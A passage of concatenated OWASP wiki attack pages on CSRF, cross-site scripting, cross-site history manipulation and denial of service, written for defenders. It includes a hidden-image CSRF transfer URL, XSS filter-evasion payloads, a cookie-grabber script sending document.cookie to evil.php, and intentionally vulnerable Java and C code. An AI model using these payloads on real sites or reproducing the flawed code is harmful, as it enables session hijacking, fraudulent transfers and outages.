For most sites, browsers will automatically include with such requests any credentials associated with the site, such as the user's session cookie, basic auth credentials, IP address, Windows domain credentials, etc. Therefore, if the user is currently authenticated to the site, the site will have no way to distinguish this from a legitimate user request.<br />
<br />
In this way, the attacker can make the victim perform actions that they didn't intend to, such as logout, purchase item, change account information, retrieve account information, or any other function provided by the vulnerable website.<br />
<br />
Sometimes, it is possible to store the CSRF attack on the vulnerable site itself. Such vulnerabilities are called Stored CSRF flaws. This can be accomplished by simply storing an IMG or IFRAME tag in a field that accepts HTML, or by a more complex cross-site scripting attack. If the attack can store a CSRF attack in the site, the severity of the attack is amplified. In particular, the likelihood is increased because the victim is more likely to view the page containing the attack than some random page on the Internet. The likelihood is also increased because the victim is sure to be authenticated to the site already.<br />
<br />
Synonyms: CSRF attacks are also known by a number of other names, including XSRF, "Sea Surf", Session Riding, Cross-Site Reference Forgery, Hostile Linking. Microsoft refers to this type of attack as a One-Click attack in their threat modeling process and many places in their online documentation.<br />
<br />
===Prevention measures that do '''NOT''' work===<br />
;Using a secret cookie<br />
:Remember that all cookies, even the ''secret'' ones, will be submitted with every request. All authentication tokens will be submitted regardless of whether or not the end-user was tricked into submitting the request. Furthermore, session identifiers are simply used by the application container to associate the request with a specific session object. The session identifier does not verify that the end-user intended to submit the request.<br />
<br />
;Only accepting POST requests<br />
:Applications can be developed to only accept POST requests for the execution of business logic. The misconception is that since the attacker cannot construct a malicious link, a CSRF attack cannot be executed. Unfortunately, this logic is incorrect. There are numerous methods in which an attacker can trick a victim into submitting a forged POST request, such as a simple form hosted in attacker's website with hidden values. This form can be triggered automatically by JavaScript or can be triggered by the victim who thinks form will do something else.<br />
<br />
<!--==Risk Factors==<br />
TBD<br />
--><br />
==Examples==<br />
<br />
===How does the attack work?===<br />
There are numerous ways in which an end-user can be tricked into loading information from or submitting information to a web application. In order to execute an attack, we must first understand how to generate a malicious request for our victim to execute. Let us consider the following example: Alice wishes to transfer $100 to Bob using bank.com. The request generated by Alice will look similar to the following:<br />
<br />
POST <nowiki>http://bank.com/transfer.do</nowiki> HTTP/1.1<br />
...<br />
...<br />
...<br />
Content-Length: 19;<br />
<br />
acct=BOB&amount=100<br />
<br />
However, Maria notices that the same web application will execute the same transfer using URL parameters as follows:<br />
<br />
GET <nowiki>http://bank.com/transfer.do?acct=BOB&amount=100</nowiki> HTTP/1.1<br />
<br />
Maria now decides to exploit this web application vulnerability using Alice as her victim. Maria first constructs the following URL which will transfer $100,000 from Alice's account to her account:<br />
<br />
<nowiki>http://bank.com/transfer.do?acct=MARIA&amount=100000</nowiki><br />
<br />
Now that her malicious request is generated, Maria must trick Alice into submitting the request. The most basic method is to send Alice an HTML email containing the following: <br />
<br />
<nowiki><a href="http://bank.com/transfer.do?acct=MARIA&amount=100000">View my Pictures!</a></nowiki><br />
<br />
Assuming Alice is authenticated with the application when she clicks the link, the transfer of $100,000 to Maria's account will occur. However, Maria realizes that if Alice clicks the link, then Alice will notice that a transfer has occurred. Therefore, Maria decides to hide the attack in a zero-byte image:<br />
<br />
<nowiki><img src="http://bank.com/transfer.do?acct=MARIA&amount=100000" width="1" height="1" border="0"></nowiki><br />
<br />
If this image tag were included in the email, Alice would only see a little box indicating that the browser could not render the image. However, the browser ''will still'' submit the request to bank.com without any visual indication that the transfer has taken place.<br />
<br />
<!--==Related [[Threat Agents]]==<br />
* TBD<br />
--><br />
==Related [[Attacks]]==<br />
* [[Cross-site Scripting (XSS)]]<br />
* [[Cross Site History Manipulation (XSHM)]]<br />
<br />
<!--==Related [[Vulnerabilities]]==<br />
* TBD<br />
--><br />
<br />
==Related [[Controls]]==<br />
* Add a per-request nonce to URL and all forms in addition to the standard session. This is also referred to as "form keys". Many frameworks (ex, Drupal.org 4.7.4+) either have or are starting to include this type of protection "built-in" to every form so the programmer does not need to code this protection manually. <br />
* TBD: Add a per-session nonce to URL and all forms<br />
* TBD: Add a hash(session id, function name, server-side secret) to URL and all forms<br />
* TBD: .NET - add session identifier to ViewState with MAC<br />
* Checking HTTP referrer details can help mitigate the attack but does certainly not provide a bullet proof solution. By ensuring the HTTP posts have come from the original site means that the attacks from other sites will not function. However, if the CSRF attack was used in combination with XSS on the original site then this mechanism will not provide any protection. Furthermore, it is increasingly common for firewalls or browser plugins/settings to strip the referrer header, in which case legitimate requests would be denied.<br />
* "Although cross-site request forgery is fundamentally a problem with the web application, not the user, users can help protect their accounts at poorly designed sites by logging off the site before visiting another, or clearing their browser's cookies at the end of each browser session." -http://en.wikipedia.org/wiki/Cross-site_request_forgery#_note-1<br />
* [[Tokenizing]]<br />
<br />
==References==<br />
* [http://www.cgisecurity.com/articles/csrf-faq.shtml The Cross-Site Request Forgery (CSRF/XSRF) FAQ]<br />
: ''quote: "This paper serves as a living document for Cross-Site Request Forgery issues. This document will serve as a repository of information from existing papers, talks, and mailing list postings and will be updated as new information is discovered."''<br />
<br />
* [[Testing for CSRF (OWASP-SM-005)|Testing for CSRF]]<br />
: CSRF (aka Session riding) paper from the OWASP Testing Guide project (need to integrate)<br />
<br />
* [http://www.darkreading.com/document.asp?doc_id=107651&WT.svl=news1_2 CSRF Vulnerability: A 'Sleeping Giant']<br />
: Overview Paper<br />
<br />
* [http://www.owasp.org/index.php/Image:RequestRodeo-MartinJohns.pdf Client Side Protection against Session Riding]<br />
: Martin Johns and Justus Winter's interesting paper and presentation for the 4th OWASP AppSec Conference which described potential techniques that browsers could adopt to automatically provide CSRF protection - [http://www.owasp.org/index.php/Image:RequestRodeo-MartinJohns.pdf PDF paper]<br />
<br />
* [[:Category:OWASP_CSRFGuard_Project|OWASP CSRF Guard]]<br />
: J2EE, .NET, and PHP Filters which append a unique request token to each form and link in the HTML response in order to provide universal coverage against CSRF throughout your entire application.<br />
<br />
* [[:Category:OWASP CSRFTester Project|OWASP CSRF Tester]]<br />
: The OWASP CSRFTester gives developers the ability to test their applications for CSRF flaws.<br />
<br />
[[Category:Exploitation of Authentication]]<br />
[[Category:Embedded Malicious Code]]<br />
[[Category:Spoofing]]<br />
[[Category: Attack]]</div>Adar Weidmanhttps://wiki.owasp.org/index.php?title=Cross-site_Scripting_(XSS)&diff=78131Cross-site Scripting (XSS)2010-02-08T16:13:09Z<p>Adar Weidman: /* Related Attacks */ Add XSHM</p>
<hr />
<div>{{template: Attack}}<br><br />
[[Category:OWASP ASDR Project]]<br />
<br />
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''<br />
<br />
<br />
[[Category:Security Focus Area]]<br />
__NOTOC__<br />
==Overview==<br />
Cross-Site Scripting attacks are a type of injection problem, in which malicious scripts are injected into the otherwise benign and trusted web sites. Cross-site scripting (XSS) attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user in the output it generates without validating or encoding it.<br />
<br />
An attacker can use XSS to send a malicious script to an unsuspecting user. The end user’s browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by your browser and used with that site. These scripts can even rewrite the content of the HTML page.<br />
<br />
==Related Security Activities==<br />
<br />
===How to Avoid Cross-site scripting Vulnerabilities===<br />
<br />
See the [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]<br />
<br />
See the [[:Category:OWASP Guide Project|OWASP Development Guide]] article on [[Phishing|Phishing]].<br />
<br />
See the [[:Category:OWASP Guide Project|OWASP Development Guide]] article on [[Data Validation]].<br />
<br />
===How to Review Code for Cross-site scripting Vulnerabilities===<br />
<br />
See the [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on [[Reviewing Code for Cross-site scripting]] Vulnerabilities.<br />
<br />
===How to Test for Cross-site scripting Vulnerabilities===<br />
<br />
See the [[:Category:OWASP Testing Project|OWASP Testing Guide]] article on how to [[Testing for Cross site scripting|Test for Cross site scripting]] Vulnerabilities.<br />
<br />
==Description==<br />
<br />
Cross-Site Scripting (XSS) attacks occur when:<br />
<br />
# Data enters a Web application through an untrusted source, most frequently a web request. <br />
#The data is included in dynamic content that is sent to a web user without being validated for malicious code. <br />
<br />
The malicious content sent to the web browser often takes the form of a segment of JavaScript, but may also include HTML, Flash or any other type of code that the browser may execute. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data like cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.<br />
<br />
===Stored and Reflected XSS Attacks===<br />
XSS attacks can generally be categorized into two categories: stored and reflected. There is a third, much less well known type of XSS attack called [[DOM Based XSS |DOM Based XSS]] that is discussed seperately [[DOM Based XSS |here]].<br />
<br />
====Stored XSS Attacks====<br />
Stored attacks are those where the injected code is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc. The victim then retrieves the malicious script from the server when it requests the stored information.<br />
<br />
====Reflected XSS Attacks====<br />
Reflected attacks are those where the injected code is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request. Reflected attacks are delivered to victims via another route, such as in an e-mail message, or on some other web server. When a user is tricked into clicking on a malicious link or submitting a specially crafted form, the injected code travels to the vulnerable web server, which reflects the attack back to the user’s browser. The browser then executes the code because it came from a "trusted" server.<br />
<br />
====XSS Attack Consequences====<br />
The consequence of an XSS attack is the same regardless of whether it is stored or reflected ([[DOM Based XSS |or DOM Based]]). The difference is in how the payload arrives at the server. Do not be fooled into thinking that a “read only” or “brochureware” site is not vulnerable to serious reflected XSS attacks. XSS can cause a variety of problems for the end user that range in severity from an annoyance to complete account compromise. The most severe XSS attacks involve disclosure of the user’s session cookie, allowing an attacker to hijack the user’s session and take over the account. Other damaging attacks include the disclosure of end user files, installation of Trojan horse programs, redirect the user to some other page or site, or modify presentation of content. An XSS vulnerability allowing an attacker to modify a press release or news item could affect a company’s stock price or lessen consumer confidence. An XSS vulnerability on a pharmaceutical site could allow an attacker to modify dosage information resulting in an overdose.<br />
<br />
===How to Determine If You Are Vulnerable===<br />
XSS flaws can be difficult to identify and remove from a web application. The best way to find flaws is to perform a security review of the code and search for all places where input from an HTTP request could possibly make its way into the HTML output. Note that a variety of different HTML tags can be used to transmit a malicious JavaScript. Nessus, Nikto, and some other available tools can help scan a website for these flaws, but can only scratch the surface. If one part of a website is vulnerable, there is a high likelihood that there are other problems as well.<br />
<br />
===How to Protect Yourself===<br />
The primary defenses against XSS are described in the [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet |OWASP XSS Prevention Cheat Sheet]].<br />
<br />
Also, it's crucial that you turn off HTTP TRACE support on all webservers. An attacker can steal cookie data via Javascript even when document.cookie is disabled or not supported on the client. This attack is mounted when a user posts a malicious script to a forum so when another user clicks the link, an asynchronous HTTP Trace call is triggered which collects the user's cookie information from the server, and then sends it over to another malicious server that collects the cookie information so the attacker can mount a session hijack attack. This is easily mitigated by removing support for HTTP TRACE on all webservers.<br />
<br />
The [[ESAPI |OWASP ESAPI project]] has produced a set of reusable security components in several languages, including validation and escaping routines to prevent parameter tampering and the injection of XSS attacks. In addition, the [[:Category:OWASP WebGoat Project|OWASP WebGoat Project]] training application has lessons on Cross-Site Scripting and data encoding.<br />
<br />
===Alternate XSS Syntax===<br />
====XSS using Script in Attributes====<br />
<br />
XSS attacks may be conducted without using <script></script> tags.<br />
Other tags will do exacly the same thing, for example:<br />
<pre><br />
<body onload=alert('test1')><br />
</pre><br />
or other attribites like: onmouseover, onerror.<br />
<br />
onmouseover<br />
<pre><br />
<b onmouseover=alert('Wufff!')>click me!</b><br />
</prE><br />
onerror<br />
<pre><br />
<img src="http://url.to.file.which/not.exist" onerror=alert(document.cookie);><br />
</pre><br />
<br />
====XSS using Script Via Encoded URI Schemes====<br />
<br />
If we need to hide against web application filters we may try to encode string characters, e.g.: a=&#X41 (UTF-8) and use it in<br />
IMG tag:<br />
<pre><br />
<IMG SRC=j&#X41vascript:alert('test2')><br />
</pre><br />
There are many different UTF-8 encoding notations what give us even more possibilities.<br />
<br />
====XSS using code encoding====<br />
<br />
We may encode our script in base64 and place it in META tag. This way we get rid of alert() totally. More information about this method can be found in RFC 2397<br />
<pre><br />
<META HTTP-EQUIV="refresh"<br />
CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg"><br />
</pre><br />
These (just a little modified by me) and others examples can be found on http://ha.ckers.org/xss.html, which is a true encyclopedia of the alternate XSS syntax attack.<br />
<br />
<!--==Risk Factors==<br />
TBD<br />
--><br />
<br />
== Examples ==<br />
<br />
Cross-site scripting attacks may occur anywhere that possibly malicious users are allowed to post unregulated material to a trusted web site for the consumption of other valid users.<br />
<br />
The most common example can be found in bulletin-board web sites which provide web based mailing list-style functionality. <br />
<br />
===Example 1=== <br />
<br />
The following JSP code segment reads an employee ID, eid, from an HTTP request and displays it to the user.<br />
<br />
<pre><br />
<% String eid = request.getParameter("eid"); %> <br />
...<br />
Employee ID: <%= eid %><br />
</pre><br />
<br />
The code in this example operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes meta-characters or source code, then the code will be executed by the web browser as it displays the HTTP response.<br />
<br />
Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use e-mail or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.<br />
<br />
===Example 2===<br />
<br />
The following JSP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.<br />
<br />
<pre> <br />
<%... <br />
Statement stmt = conn.createStatement();<br />
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);<br />
if (rs != null) {<br />
rs.next(); <br />
String name = rs.getString("name");<br />
%><br />
<br />
Employee Name: <%= name %><br />
</pre><br />
<br />
As in Example 1, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker can execute malicious commands in the user's web browser. This type of exploit, known as Stored XSS, is particularly insidious because the indirection caused by the data store makes it more difficult to identify the threat and increases the possibility that the attack will affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.<br />
<br />
As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:<br />
<br />
* As in Example 1, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or e-mailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that may include session information, from the user's machine to the attacker or perform other nefarious activities. <br />
* As in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Stored XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user. <br />
* A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content. <br />
<br />
=== Attack Examples ===<br />
<br />
'''Example 1 : Cookie Grabber'''<br />
<br />
If the application doesn't validate the input data, the attacker can easily steal a cookie from an authenticated user. All the attacker has to do is to place the following code in any posted input(ie: message boards, private messages, user profiles):<br />
<br />
<pre><br />
<SCRIPT type="text/javascript"><br />
var adr = '../evil.php?cakemonster=' + escape(document.cookie);<br />
</SCRIPT><br />
</pre><br />
<br />
The above code will pass an escaped content of the cookie (according to RFC content must be escaped before sending it via HTTP protocol with GET method) to the evil.php script in "cakemonster" variable. The attacker then checks the results of his evil.php script (a cookie grabber script will usually write the cookie to a file) and use it.<br />
<br />
===Error Page Example===<br />
<br />
Let's assume that we have an error page, which is handling requests for a non existing pages, a classic 404 error<br />
page. We may use the code below as an example to inform user about what specific page is missing:<br />
<pre><br />
<html><br />
<body><br />
<br />
<? php<br />
print "Not found: " . urldecode($_SERVER["REQUEST_URI"]);<br />
?><br />
<br />
</body><br />
</html><br />
</pre><br />
Let's see how it works:<br />
<pre><br />
http://testsite.test/file_which_not_exist<br />
</pre><br />
In response we get:<br />
<pre><br />
Not found: /file_which_not_exist<br />
</pre><br />
Now we will try to force the error page to include our code:<br />
<pre><br />
http://testsite.test/<script>alert("TEST");</script><br />
</pre><br />
The result is:<br />
<pre><br />
Not found: / (but with JavaScript code <script>alert("TEST");</script>)<br />
</pre><br />
We have successfully injected the code, our XSS! What does it mean? For example, that we<br />
may use this flaw to try to steal a user's session cookie.<br />
<br />
<!--==Related [[Threat Agents]]==<br />
* TBD<br />
--><br />
<br />
==Related [[Attacks]]==<br />
* [[XSS Attacks]]<br />
* [[:Category:Injection Attack]]<br />
* [[Invoking untrusted mobile code]]<br />
* [[Cross Site History Manipulation (XSHM)]]<br />
<br />
==Related [[Vulnerabilities]]==<br />
* [[:Category:Input Validation Vulnerability]]<br />
* [[Cross Site Scripting Flaw]]<br />
<br />
==Related [[Controls]]==<br />
* [[:Category:Input Validation]]<br />
* [[HTML Entity Encoding]]<br />
* [[Output Validation]]<br />
* [[Canonicalization]]<br />
<br />
==References==<br />
* OWASP's [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]<br />
* OWASP Guide to Building Secure Web Applications and Web Services, Chapter 8: [[Data_Validation|Data Validation]]<br />
* OWASP Testing Guide, [[Testing_for_Cross_site_scripting|Testing for Cross Site Scripting]] <br />
* OWASP's [[How_to_Build_an_HTTP_Request_Validation_Engine_for_Your_J2EE_Application|How to Build an HTTP Request Validation Engine (J2EE validation using OWASP's Stinger)]] <br />
* Google Code Best Practice Guide: http://code.google.com/p/doctype/wiki/ArticlesXSS<br />
* The Cross Site Scripting FAQ: http://www.cgisecurity.com/articles/xss-faq.shtml <br />
* XSS Cheat Sheet: http://ha.ckers.org/xss.html<br />
* CERT Advisory on Malicious HTML Tags: http://www.cert.org/advisories/CA-2000-02.html <br />
* CERT “Understanding Malicious Content Mitigation” http://www.cert.org/tech_tips/malicious_code_mitigation.html <br />
* Understanding the cause and effect of CSS Vulnerabilities: http://www.technicalinfo.net/papers/CSS.html <br />
* XSSed - Cross-Site Scripting (XSS) Information and Mirror Archive of Vulnerable Websites http://www.xssed.com<br />
<br><br />
{{Template:Fortify}}<br />
<br />
[[Category:OWASP Top Ten Project]]<br />
[[Category:Java]]<br />
[[Category:Code Snippet]]<br />
[[Category:Security Focus Area]]<br />
[[Category:Attack]]</div>Adar Weidmanhttps://wiki.owasp.org/index.php?title=Cross_Site_History_Manipulation_(XSHM)&diff=78129Cross Site History Manipulation (XSHM)2010-02-08T16:12:03Z<p>Adar Weidman: Add XSHM</p>
<hr />
<div>{{template: Attack}}<br><br />
[[Category:OWASP ASDR Project]]<br />
<br />
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''<br />
<br />
<br />
==Description==<br />
'''Cross-Site History Manipulation (XSHM)''' is a [http://en.wikipedia.org/wiki/Same_origin_policy SOP (Same Origin Policy)] security breach. SOP is the most important security concept of modern browsers. SOP means that web pages from different origins by design cannot communicate with each other. '''Cross-Site History Manipulation''' breach is based on the fact that client-side browser history object is not properly partitioned on a per-site basis. Manipulating browser history may lead to SOP compromising, allow bi-directional [[Cross-Site_Request_Forgery_(CSRF)|CSRF]] and other exploitations such as: user privacy violation, login status detection, resources mapping, sensitive information inferring, users’ activity tracking and URL parameter stealing.<br />
<br />
==Risk Factors==<br />
By manipulating the browser history it is possible to compromise SOP and violate user privacy. Using [[Cross-Site_Request_Forgery_(CSRF)|CSRF]] in conjunction with history manipulation, not only integrity but also confidentiality can be targeted. Feedbacks from a different origin can be accessed and Cross-Site information leakage is achieved.<br />
<br />
The following attack vectors based on techniques of '''XSHM''' are possible:<br />
* Cross-Site Condition Leakage<br />
** Login Detection<br />
** Resource Mapping<br />
** Error Leakage<br />
** State Detection<br />
** Information Inference<br />
* Cross-Site User Tracking <br />
* Cross-Site URL/Parameters Enumeration<br />
<br />
==Examples==<br />
<br />
=== What is Condition Leakage? ===<br />
Condition leakage occurs when an attacker can infer a sensitive value of a conditional statement in an attacked application. For example, if a site contains the following logic:<br />
Page A: If (CONDITION)<br />
Redirect(Page B)<br />
<br />
an attacker can execute the [[Cross-Site_Request_Forgery_(CSRF)|CSRF]] and get an indication about the value of the condition as a feedback. This attack is executed from an attacker site. The site then submits a Cross-Site request to a victim site, and by manipulating the History object gets a feedback with required information leaked from a victim site. It is important to mention that the redirect command can appear explicitly in the code, or can be completed by the operational environment.<br />
<br />
Attack Vector:<br />
# Create IFRAME with src=Page B<br />
# Remember the current value of history.length <br />
# Change src of IFRAME to Page A<br />
# If the value of history.length is the same, then the CONDITION is TRUE<br />
<br />
=== Login Detection ===<br />
The following demo for IE and Facebook can show how one can identify if users are currently using facebook: [http://www.checkmarx.com/Demo/XSHM.aspx "Am I using Facebook?"]<br />
<br />
===Cross-Site Information Inference===<br />
It is possible to inference sensitive information from a page on a different origin, if it implements a conditional redirect. Suppose that in an HR application which is not publically accessible, a legal user can search employees by name, salary and other criteria. If the search has no results, a redirect command is then executed to a "Not Found" page. By submitting the following URL:<br />
http://Intranet/SearchEmployee.aspx?name=Jon&SalaryFrom=3000&SalaryTo=3500<br />
and observing the NotFound redirection, attackers can inference sensitive information about a worker's salary.<br />
<br />
This can be done by using the following attack vector:<br />
# Create IFRAME with src="NotFound.aspx"<br />
# Remember the current value of history.length<br />
# Change src of IFRAME to "SearchEmployee.aspx?name=Jon&SalaryFrom=3000&SalaryTo=3500"<br />
# If the value of history.length remains the same, then your search has no results<br />
<br />
By repeating the above attack and trying different values of the salary parameters, an attacker can gather very sensitive salary information of any employee. This is a very serious Cross-Site information leakage. If an application has a functionality like a search page with conditional redirect, then this application is vulnerable to '''XSHM''' and essentially it is a similar to a direct exposure to [[media:OWASP_IL_The_Universal_XSS_PDF_Vulnerability.pdf|Universal XSS]] – the application itself is [[Cross-site Scripting (XSS)|XSS]]-safe, but running it from a different site inside an IFRAME makes it vulnerable.<br />
==Related [[Threat Agents]]==<br />
TBD<br />
<br />
==Related [[Attacks]]==<br />
* [[Cross-site Scripting (XSS)]]<br />
* [[Cross-Site_Request_Forgery_(CSRF)|Cross-Site Request Forgery (CSRF)]]<br />
<br />
==Related [[Vulnerabilities]]==<br />
* [[Cross Site Scripting Flaw]]<br />
<br />
==Related [[Controls]]==<br />
* [[Input Validation]]<br />
* [[Output Validation]]<br />
* [[Canonicalization]]<br />
<br />
==References ==<br />
* [http://www.checkmarx.com/Upload/Documents/PDF/XSHM%20Cross%20site%20history%20manipulation.pdf Cross site history manipulation (XSHM) Guide]<br />
* [http://www.infosecurity-magazine.com/view/6828/checkmarx-identifies-new-web-browser-vulnerability/ Checkmarx identifies new web browser vulnerability], ''InfoSecurity Magazine'', January 27, 2010<br />
* [http://www.checkmarx.com/Demo/XSHM.aspx Demo for Internet Explorer users - "Am I using Facebook?"]<br />
* [http://en.wikipedia.org/wiki/Same_origin_policy Wikipedia: Same Origin Policy (SOP)]<br />
<br />
==Credit==<br />
{{Template:Checkmarx}}<br />
[[Category:Attack]]</div>Adar Weidmanhttps://wiki.owasp.org/index.php?title=Denial_of_Service&diff=77821Denial of Service2010-02-03T13:34:04Z<p>Adar Weidman: /* Related Attacks */ Added ReDoS</p>
<hr />
<div>{{Template:Attack}}<br />
<br><br />
[[Category:OWASP ASDR Project]]<br />
<br />
<br />
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''<br />
<br />
<br />
==Description==<br />
The Denial of Service (DoS) attack is focused on making unavailable a resource (site, application, server) for the purpose it was designed. There are many ways to make a service unavailable for legitimate users by manipulating network packets, programming, logical, or resources handling vulnerabilities, among others.<br />
If a service receives a very large number of requests, it may stop providing service to legitimate users. In the same way, a service may stop if a programming vulnerability is exploited, or the way the service handles resources used by it.<br />
<br />
Sometimes the attacker can inject and execute arbitrary code while performing a DoS attack in order to access critical information or execute commands on the server.<br />
Denial-of-service attacks significantly degrade service quality experienced by legitimate users. It introduces large response delays, excessive losses, and service interruptions, resulting in direct impact on availability.<br />
<br />
==Risk Factors==<br />
TBD<br />
[[Category:FIXME|need content]]<br />
<br />
==Examples ==<br />
The following DoS techniques and examples were extracted from OWASP Testing Guide v2.<br />
<br />
===DoS User Specified Object Allocation===<br />
<br />
If users can supply, directly or indirectly, a value that will specify how many of an object to create on the application server, and if the server does not enforce a hard upper limit on that value, it is possible to cause the environment to run out of available memory. The server may begin to allocate the required number of objects specified, but if this is an extremely large number, it can cause serious issues on the server, possibly filling its whole available memory and corrupting its performance. <br />
<br />
The following is a simple example of vulnerable code in Java: <br />
<br />
String TotalObjects = request.getParameter(“numberofobjects”);<br />
int NumOfObjects = Integer.parseInt(TotalObjects);<br />
ComplexObject[] anArray = new ComplexObject[NumOfObjects]; // wrong!<br />
<br />
===DoS User Input as a Loop Counter===<br />
<br />
Similar to the previous problem of User Specified Object Allocation, if the user can directly or indirectly assign a value that will be used as a counter in a loop function, this can cause performance problems on the server. <br />
<br />
The following is an example of vulnerable code in Java: <br />
<br />
public class MyServlet extends ActionServlet {<br />
public void doPost(HttpServletRequest request, HttpServletResponse response)<br />
throws ServletException, IOException {<br />
. . . <br />
String [] values = request.getParameterValues("CheckboxField");<br />
// Process the data without length check for reasonable range – wrong!<br />
for ( int i=0; i<values.length; i++) {<br />
// lots of logic to process the request<br />
}<br />
. . . <br />
}<br />
. . . <br />
}<br />
<br />
As we can see in this simple example, the user has control over the loop counter. If the code inside the loop is very demanding in terms of resources, and an attacker forces it to be executed a very high number of times, this might decrease the performance of the server in handling other requests, causing a DoS condition. <br />
<br />
===DoS Storing too Much Data in Session===<br />
<br />
Care must be taken not to store too much data in a user session object. Storing too much information in the session, such as large quantities of data retrieved from the database, can cause denial of service issues. This problem is exacerbated if session data is also tracked prior to a login, as a user can launch the attack without the need of an account.<br />
<br />
===DoS Locking Customer Accounts===<br />
<br />
The first DoS case to consider involves the authentication system of the target application. A common defense to prevent brute-force discovery of user passwords is to lock an account from use after between three to five failed attempts to login. This means that even if a legitimate user were to provide their valid password, they would be unable to login to the system until their account has been unlocked. This defense mechanism can be turned into a DoS attack against an application if there is a way to predict valid login accounts. <br />
<br />
Note, there is a business vs. security balance that must be reached based on the specific circumstances surrounding a given application. There are pros and cons to locking accounts, to customers being able to choose their own account names, to using systems such as CAPTCHA, and the like. Each enterprise will need to balance these risks and benefits, but not all of the details of those decisions are covered here. <br />
<br />
===DoS Failure to Release Resources===<br />
<br />
If an error occurs in the application that prevents the release of an in-use resource, it can become unavailable for further use. Possible examples include: <br />
* An application locks a file for writing, and then an exception occurs but does not explicitly close and unlock the file <br />
* Memory leaking in languages where the developer is responsible for memory management such as C & C++. In the case where an error causes normal logic flow to be circumvented, the allocated memory may not be removed and may be left in such a state that the garbage collector does not know it should be reclaimed <br />
* Use of DB connection objects where the objects are not being freed if an exception is thrown. A number of such repeated requests can cause the application to consume all the DB connections, as the code will still hold the open DB object, never releasing the resource. <br />
The following is an example of vulnerable code in Java. In the example, both the Connection and the CallableStatement should be closed in a finally block. <br />
public class AccountDAO {<br />
… …<br />
public void createAccount(AccountInfo acct) <br />
throws AcctCreationException {<br />
… …<br />
try {<br />
Connection conn = DAOFactory.getConnection();<br />
CallableStatement calStmt = conn.prepareCall(…);<br />
… … <br />
calStmt.executeUpdate();<br />
calStmt.close();<br />
conn.close();<br />
} catch (java.sql.SQLException e) {<br />
throw AcctCreationException (...);<br />
}<br />
}<br />
}<br />
<br />
===DoS Buffer Overflows===<br />
<br />
Any language where the developer has direct responsibility for managing memory allocation, most notably C & C++, has the potential for a [[Buffer Overflow]]. While the most serious risk related to a buffer overflow is the ability to execute arbitrary code on the server, the first risk comes from the denial of service that can happen if the application crashes. <br />
<br />
The following is a simplified example of vulnerable code in C: <br />
void overflow (char *str) {<br />
char buffer[10];<br />
strcpy(buffer, str); // Dangerous!<br />
}<br />
<br />
int main () {<br />
char *str = "This is a string that is larger than the buffer of 10";<br />
overflow(str);<br />
}<br />
<br />
If this code example were executed, it would cause a segmentation fault and dump core. The reason is that strcpy would try to copy 53 characters into an array of 10 elements only, overwriting adjacent memory locations. While this example above is an extremely simple case, the reality is that in a web based application there may be places where the user input is not adequately checked for its length, making this kind of attack possible.<br />
<br />
==Related [[Threat Agents]]==<br />
* [[:Category:Logical Attacks]]<br />
[[Category:FIXME|not a threat agent]]<br />
<br />
==Related [[Attacks]]==<br />
* [[Resource Injection]]<br />
* [[Setting Manipulation]]<br />
* [[Regular expression Denial of Service - ReDoS]]<br />
<br />
==Related [[Vulnerabilities]]==<br />
* [[:Category: Input Validation Vulnerability]]<br />
* [[:Category: API Abuse]]<br />
<br />
==Related [[Controls]]==<br />
* TBD<br />
[[Category:FIXME|need links]]<br />
<br />
==References==<br />
* http://capec.mitre.org/data/index.html - Denial of Service through Resource Depletion<br />
<br />
<br />
<br />
<br />
[[Category: Spoofing]]<br />
[[Category: Probabilistic Techniques]]<br />
